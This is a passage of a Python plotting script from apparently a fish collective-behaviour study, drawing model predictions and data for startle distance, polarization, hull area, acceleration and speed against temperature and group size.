loom*log(gs,2), my_data if args.a_string=='startle_distance_predictions3.csv': data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string) data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom_startle_corrected.csv') gs = [1,2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) #Plotting if args.verbose==True: gs = [1,2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1], data2.distance[data2.Groupsize == i][data2.Loom == 1]/60, s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs== i][data1.loom == 1][data1.date == 18106], np.exp(data1.distance[data1.gs==i][data1.loom == 1][data1.date == 18106])/60, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == 1][data1.date == 18106], np.exp(data1.distance_025[data1.gs==i][data1.loom == 1][data1.date == 18106])/60, np.exp(data1.distance_975[data1.gs==i][data1.loom == 1][data1.date == 18106])/60, label = str(i), alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Distance (BL)', size = fs) ax.set_title('Loom = 1', fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/distance_w_data_loom1.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [1,16] loom = [1] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 for i in gs: for j in loom: ax.plot( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], np.exp(data1.distance[data1.gs==i][data1.loom == j][data1.date == 18106])/60, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], np.exp(data1.distance_025[data1.gs==i][data1.loom == j][data1.date == 18106])/60, np.exp(data1.distance_975[data1.gs==i][data1.loom == j][data1.date == 18106])/60, alpha = 0.3, label = str(i), color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Distance (BL)', size = fs) ax.set_title('Loom = 1', fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/distance_wo_data_loom1.png' fig.savefig(out_dir, dpi = 300) plt.show() ### pre loom annd #model_lm <- lm(log(annd) ~ temp + log(gs,2), my_data) #r sq = 0.76 #residuals not good if args.a_string=='annd_before_loom_predictions.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') #data2 = data2.drop(labels = 127) data_hull = data2.annd gs = [2,4,8,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs ==i], np.exp(data1.annd[data1.gs ==i]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.annd025[data1.gs ==i]), np.exp(data1.annd975[data1.gs ==i]), alpha = 0.3, color = colors[count], lw = 0,label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Average Nearest Neighbor Distance \n before loom (BL)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/annd_before_loom_w_data.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [2,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) for i in gs: ax.plot( data1.temp[data1.gs ==i], np.exp(data1.annd[data1.gs ==i]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.annd025[data1.gs ==i]), np.exp(data1.annd975[data1.gs ==i]), alpha = 0.3, color = colors[count], lw = 0,label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Average Nearest Neighbor Distance \n before loom (BL)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) #ax.set_title('Groupsize = 16', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/annd_before_loom_wo_data.png' fig.savefig(out_dir, dpi = 300) plt.show() #local polarization #lm(pol ~ temp + loom + t1, my_data) #r sq 0.03 if args.a_string=='pol1_during_loom_predictions.csv': data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string) data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom_pol.csv') loom = [1,2,3,4,5] colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+1)) count = 1 #Plotting if args.verbose==True: loom = [1,2,3,4,5] colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+1)) count = 1 for i in loom: ax.scatter(data2.Temperature[data2.Loom == i], data2.polarization_1[data2.Loom == 1], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.loom == i][data1.t1 == 1618600800], data1.pol_1[data1.loom == i][data1.t1 == 1618600800], color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.loom == i][data1.t1== 1618600800], data1.pol1_025[data1.loom == i][data1.t1 == 1618600800], data1.pol1_975[data1.loom == i][data1.t1 == 1618600800], label = str(i), alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Local Polarization', size = fs) #ax.set_title('Loom = 1', fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/local_pol1_w_data.png' fig.savefig(out_dir, dpi = 300) plt.show() else: loom = [1,2,3,4,5] colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+1)) count = 1 for i in loom: ax.plot( data1.temp[data1.loom == i][data1.t1 == 1618600800], data1.pol_1[data1.loom == i][data1.t1 == 1618600800], color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.loom == i][data1.t1== 1618600800], data1.pol1_025[data1.loom == i][data1.t1 == 1618600800], data1.pol1_975[data1.loom == i][data1.t1 == 1618600800], label = str(i), alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Local Polarization', size = fs) #ax.set_title('Loom = 1', fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/local_pol1_wo_data.png' fig.savefig(out_dir, dpi = 300) plt.show() #hull after loom #model_lm <- lm(hull ~ gs + temp , my_data) if args.a_string=='hull_after_loom_predictions_700_900.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv') data_hull = data2.convex_hull_area gs = [4,8,16] loom = [1] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 if args.verbose==True: for i in gs: for j in loom: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs== i], (data1.hull[data1.gs==i]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i], (data1.hull025[data1.gs==i]), (data1.hull975[data1.gs==i]), alpha = 0.3, label = str(i), color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Convex hull area after loom', size = fs) #ax.set_title('Loom = '+str(loom[0]), fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_after_loom_w_data_gs_all.png' fig.savefig(out_dir, dpi = dpi) plt.show() else: gs = [16] loom = [1] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 for i in gs: for j in loom: ax.plot( data1.temp[data1.gs== i], (data1.hull[data1.gs==i]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i], (data1.hull025[data1.gs==i]), (data1.hull975[data1.gs==i]), alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Convex hull area after loom', size = fs) #ax.set_title('Loom = '+str(loom[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_after_loom_wo_data_gs_16.png' fig.savefig(out_dir, dpi = dpi) plt.show() #hull during loom #model_lm <- lm(hull ~ gs + temp , my_data) if args.a_string=='hull_during_loom_predictions_500_700.csv': data2 = pd.read_csv('../../data/temp_collective/roi/convex_hull_during_loom.csv') data_hull = data2.convex_hull_area_500_700 gs = [4,8,16] loom = [1] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 if args.verbose==True: for i in gs: for j in loom: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs== i], (data1.hull[data1.gs==i]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i], (data1.hull025[data1.gs==i]), (data1.hull975[data1.gs==i]), alpha = 0.3, label = str(i), color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Convex hull area during loom', size = fs) #ax.set_title('Loom = '+str(loom[0]), fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_during_loom_w_data_gs_all.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] loom = [1] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 for i in gs: for j in loom: ax.plot( data1.temp[data1.gs== i], (data1.hull[data1.gs==i]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i], (data1.hull025[data1.gs==i]), (data1.hull975[data1.gs==i]), alpha = 0.3, label = str(i), color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Convex hull area during loom', size = fs) #ax.set_title('Loom = '+str(loom[0]), fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_during_loom_wo_data_gs_16.png' fig.savefig(out_dir, dpi = 300) plt.show() ### pre loom avg acceleration #log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2) # r sq 0.2786 if args.a_string=='acc_avg_predictions_new.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') #data2 = data2.drop(labels = 127) data_hull = data2.avg_acc gs = [1,2,4,8,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc_025[data1.gs ==i])-1, np.exp(data1.acc_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0,label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Average acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_avg_acc_w_data.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) for i in gs: ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc_025[data1.gs ==i])-1, np.exp(data1.acc_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0, label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Average acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) #ax.set_title('Groupsize = 16', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_avg_acc_wo_data.png' fig.savefig(out_dir, dpi = 300) plt.show() ### pre loom median acceleration #log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2) # r sq 0.301 if args.a_string=='acc_50_predictions_new.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') #data2 = data2.drop(labels = 127) data_hull = data2.acc_percentile50 gs = [1,2,4,8,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc50[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc50_025[data1.gs ==i])-1, np.exp(data1.acc50_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0,label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Median acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_50_acc_w_data.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) for i in gs: ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc50[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc50_025[data1.gs ==i])-1, np.exp(data1.acc50_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0, label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Median acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) #ax.set_title('Groupsize = 16', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_50_acc_wo_data.png' fig.savefig(out_dir, dpi = 300) plt.show() ### pre loom avg acceleration #log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2) # r sq 0.2786 if args.a_string=='acc_avg_predictions_new.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') #data2 = data2.drop(labels = 127) data_hull = data2.avg_acc gs = [1,2,4,8,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc_025[data1.gs ==i])-1, np.exp(data1.acc_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0,label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Mean acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_avg_acc_w_data.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) for i in gs: ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc_025[data1.gs ==i])-1, np.exp(data1.acc_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0, label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Mean acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) #ax.set_title('Groupsize = 16', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/pre_loom_avg_acc_wo_data.png' fig.savefig(out_dir, dpi = 300) plt.show() ### pca coeff - bernoulli # model_glm <- glm(pca ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2) + date, family = binomial, data = my_data) # summary(model_glm) #aic = 834 if args.a_string=='pca_predictions.csv': data2 = pd.read_csv('../../data/temp_collective/roi/pca_coeff_bernoulli.csv') #data2 = data2.drop(labels = 127) data_hull = data2.pca_coeff gs = [4,8,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) if args.verbose==False: gs = [16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) for i in gs: ax.plot( data1.temp[data1.gs ==i][data1.date == 18106], (data1.pca[data1.gs ==i][data1.date == 18106]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i][data1.date == 18106], (data1.pca_025[data1.gs ==i][data1.date == 18106]), (data1.pca_975[data1.gs ==i][data1.date == 18106]), alpha = 0.3, color = colors[count], lw = 0, label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Probability for pca coeff \n to be >= 0', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) ax.set_title('Groupsize = 16', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/pca_bernoulli_wo_data.png' fig.savefig(out_dir, dpi = 300) plt.show() # acc before each loom #model_lm <- lm(log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2),my_new_data) # r sq 0.1962 if args.a_string=='acc_before_loom_99_predictions_new_squared.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') data2 = data2.drop(labels = 127) data_hull = data2.acc_percentile99 gs = [1,2,4,8,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc99[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc99_025[data1.gs ==i])-1, np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0,label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration \n before loom (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_before_loom_percentile99_w_data_new_squared.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) for i in gs: ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc99[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc99_025[data1.gs ==i])-1, np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0, label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration \n before loom (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) #ax.set_title('Groupsize = 16', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_before_loom_percentile99_wo_data_new_squared.png' fig.savefig(out_dir, dpi = 300) plt.show() #figure with both unperturbed swimming speed predictions - linear and quadratic #model_lm <- lm(log(speed+1) ~ temp + temp^2,my_data) if args.a_string=='speed99_before_loom_predictions_new.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') data_hull = data2.speed_percentile99 data3 = pd.read_csv('../../data/temp_collective/roi/speed99_before_loom_predictions.csv') colors = plt.cm.bone_r(np.linspace(0,1,3)) if args.verbose==True: ax.scatter(data2.Temperature, data_hull, s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0) plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of speed (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_new_w_data.png' fig.savefig(out_dir, dpi = dpi) plt.show() else: colors = plt.cm.bone_r(np.linspace(0,1,3)) ax.plot( data1.temp, np.exp(data1.speed99)-1, color = colors[count], lw = lw) ax.plot( data3.temp, np.exp(data3.speed99)-1, color = colors[count-1], lw = lw) ax.fill_between( data1.temp, np.exp(data1.speed99_025)-1, np.exp(data1.speed99_975)-1, alpha = 0.3, color = colors[count], lw = 0, label = 'quadratic') ax.fill_between( data3.temp, np.exp(data3.speed99_025)-1, np.exp(data3.speed99_975)-1, alpha = 0.3, color = colors[count - 1], lw = 0, label = 'linear') plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of speed (BL/s)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) legend = plt.legend(fontsize=fs, loc='lower right', title = 'Model', framealpha = 0.5) plt.setp(legend.get_title(),fontsize='xx-large') #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_together_wo_data.png' fig.savefig(out_dir, dpi = dpi) plt.show() #model_lm <- lm(log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2),my_new_data) # r sq 0.1962 if args.a_string=='acc_99_predictions_new_squared.csv': data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv') data2 = data2.drop(labels = 127) data_hull = data2.acc_percentile99 data3 = pd.read_csv('../../data/temp_collective/roi/acc_99_predictions.csv') gs = [1,2,4,8,16] count = 1 colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i], data_hull[data2.Groupsize == i], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs ==i], np.exp(data1.acc99[data1.gs ==i])-1, color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs ==i], np.exp(data1.acc99_025[data1.gs ==i])-1, np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3, color = colors[count], lw = 0,label = str(i)) count +=1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( '99th percentile of acceleration (BL/s'+r'$^2$)', size = fs) #ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) #plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) plt.legend(fontsize=fs, loc='lower right', title = 'Groupsize', framealpha = 0.5) out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_w_data_new_squared.png' fig.savefig(out_dir, dpi = dpi) plt.show() else: gs = [16] count = 2 colors = 